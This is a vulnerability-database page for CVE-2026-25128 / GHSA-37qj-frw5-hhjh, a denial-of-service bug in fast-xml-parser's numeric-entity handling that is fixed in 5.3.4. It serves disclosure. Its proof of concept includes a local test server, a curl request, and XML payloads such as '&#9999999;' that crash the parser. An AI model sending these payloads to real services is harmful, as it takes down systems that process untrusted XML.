Vulnerability-Lookup

CVE-2026-25128 (GCVE-0-2026-25128)

Vulnerability from cvelistv5 – Published: 2026-01-30 15:14 – Updated: 2026-01-30 15:40

Title

fast-xml-parser has RangeError DoS Numeric Entities Bug

Summary

fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 4.3.6 through 5.3.3, a RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `&#9999999;` or `&#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Version 5.3.4 fixes the issue.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-20 - Improper Input Validation
CWE-248 - Uncaught Exception

Assigner

GitHub_M

References

URL

Tags

	https://github.com/NaturalIntelligence/fast-xml-p…	x_refsource_CONFIRM
	https://github.com/NaturalIntelligence/fast-xml-p…	x_refsource_MISC
	https://github.com/NaturalIntelligence/fast-xml-p…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	NaturalIntelligence	fast-xml-parser	Affected: >= 4.3.6, < 5.3.4

Show details on NVD website

JSON

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GHSA-37QJ-FRW5-HHJH

Vulnerability from github – Published: 2026-01-30 20:10 – Updated: 2026-01-30 20:10

Summary

fast-xml-parser has RangeError DoS Numeric Entities Bug

Details

Summary

A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#9999999; or &#xFFFFFF;). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details

The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:

"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },

The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this: - [0-9]{1,7} matches up to 9,999,999 - [0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:

val = val.replace(entity.regex, entity.val);

This causes the RangeError to propagate uncaught, crashing the parser and any application using it.

PoC

Setup

Create a directory with these files:

poc/
├── package.json
├── server.js

package.json

{ "dependencies": { "fast-xml-parser": "^5.3.3" } }

server.js

const http = require('http');
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/parse') {
    let body = '';
    req.on('data', c => body += c);
    req.on('end', () => {
      const result = parser.parse(body);  // No try-catch - will crash!
      res.end(JSON.stringify(result));
    });
  } else {
    res.end('POST /parse with XML body');
  }
}).listen(3000, () => console.log('http://localhost:3000'));

Run

# Setup
npm install

# Terminal 1: Start server
node server.js

# Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#9999999;</root>' http://localhost:3000/parse

Result

Server crashes with:

RangeError: Invalid code point 9999999

Alternative Payloads

<!-- Hex variant -->
<?xml version="1.0"?><root>&#xFFFFFF;</root>

<!-- In attribute -->
<?xml version="1.0"?><root attr="&#9999999;"/>

Impact

Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

API servers accepting XML payloads
File processors parsing uploaded XML files
Message queues consuming XML messages
RSS/Atom feed parsers
SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.3.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.6"
            },
            {
              "fixed": "5.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-30T20:10:14Z",
    "nvd_published_at": "2026-01-30T16:16:14Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `\u0026#9999999;` or `\u0026#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.\n\n### Details\nThe vulnerability exists in `/src/xmlparser/OrderedObjParser.js` at lines 44-45:\n\n```javascript\n\"num_dec\": { regex: /\u0026#([0-9]{1,7});/g, val : (_, str) =\u003e String.fromCodePoint(Number.parseInt(str, 10)) },\n\"num_hex\": { regex: /\u0026#x([0-9a-fA-F]{1,6});/g, val : (_, str) =\u003e String.fromCodePoint(Number.parseInt(str, 16)) },\n```\n\nThe `String.fromCodePoint()` method throws a `RangeError` when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:\n- `[0-9]{1,7}` matches up to 9,999,999\n- `[0-9a-fA-F]{1,6}` matches up to 0xFFFFFF (16,777,215)\n\nThe entity replacement in `replaceEntitiesValue()` (line 452) has no try-catch:\n\n```javascript\nval = val.replace(entity.regex, entity.val);\n```\n\nThis causes the RangeError to propagate uncaught, crashing the parser and any application using it.\n### PoC\n#### Setup\n\nCreate a directory with these files:\n\n```\npoc/\n\u251c\u2500\u2500 package.json\n\u251c\u2500\u2500 server.js\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"fast-xml-parser\": \"^5.3.3\" } }\n```\n\n**server.js**\n```javascript\nconst http = require(\u0027http\u0027);\nconst { XMLParser } = require(\u0027fast-xml-parser\u0027);\n\nconst parser = new XMLParser({ processEntities: true, htmlEntities: true });\n\nhttp.createServer((req, res) =\u003e {\n  if (req.method === \u0027POST\u0027 \u0026\u0026 req.url === \u0027/parse\u0027) {\n    let body = \u0027\u0027;\n    req.on(\u0027data\u0027, c =\u003e body += c);\n    req.on(\u0027end\u0027, () =\u003e {\n      const result = parser.parse(body);  // No try-catch - will crash!\n      res.end(JSON.stringify(result));\n    });\n  } else {\n    res.end(\u0027POST /parse with XML body\u0027);\n  }\n}).listen(3000, () =\u003e console.log(\u0027http://localhost:3000\u0027));\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Send malicious payload (server will crash)\ncurl -X POST -H \"Content-Type: application/xml\" -d \u0027\u003c?xml version=\"1.0\"?\u003e\u003croot\u003e\u0026#9999999;\u003c/root\u003e\u0027 http://localhost:3000/parse\n``` \n#### Result\n\nServer crashes with:\n```\nRangeError: Invalid code point 9999999\n```\n\n#### Alternative Payloads\n\n```xml\n\u003c!-- Hex variant --\u003e\n\u003c?xml version=\"1.0\"?\u003e\u003croot\u003e\u0026#xFFFFFF;\u003c/root\u003e\n\n\u003c!-- In attribute --\u003e\n\u003c?xml version=\"1.0\"?\u003e\u003croot attr=\"\u0026#9999999;\"/\u003e\n```\n\n### Impact\n*Denial of Service (DoS):** Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:\n\n- **API servers** accepting XML payloads\n- **File processors** parsing uploaded XML files\n- **Message queues** consuming XML messages\n- **RSS/Atom feed parsers**\n- **SOAP/XML-RPC services**\n\nA single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.",
  "id": "GHSA-37qj-frw5-hhjh",
  "modified": "2026-01-30T20:10:14Z",
  "published": "2026-01-30T20:10:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-37qj-frw5-hhjh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/4e387f61c4a5cef792f6a2f42467013290bf95dc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-xml-parser has RangeError DoS Numeric Entities Bug"
}

FKIE_CVE-2026-25128

Vulnerability from fkie_nvd - Published: 2026-01-30 16:16 - Updated: 2026-01-30 16:16

Severity ?

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/NaturalIntelligence/fast-xml-parser/commit/4e387f61c4a5cef792f6a2f42467013290bf95dc
	security-advisories@github.com	https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.4
	security-advisories@github.com	https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-37qj-frw5-hhjh

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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      "lang": "en",
      "value": "fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. In versions 4.3.6 through 5.3.3, a RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `\u0026#9999999;` or `\u0026#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Version 5.3.4 fixes the issue."
    }
  ],
  "id": "CVE-2026-25128",
  "lastModified": "2026-01-30T16:16:14.123",
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          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
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        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
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  "published": "2026-01-30T16:16:14.123",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/4e387f61c4a5cef792f6a2f42467013290bf95dc"
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      "source": "security-advisories@github.com",
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      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-248"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-25128 (GCVE-0-2026-25128)

GHSA-37QJ-FRW5-HHJH

Summary

Details

PoC

Setup

Run

Result

Alternative Payloads

Impact

FKIE_CVE-2026-25128

Tags

Sightings

Nomenclature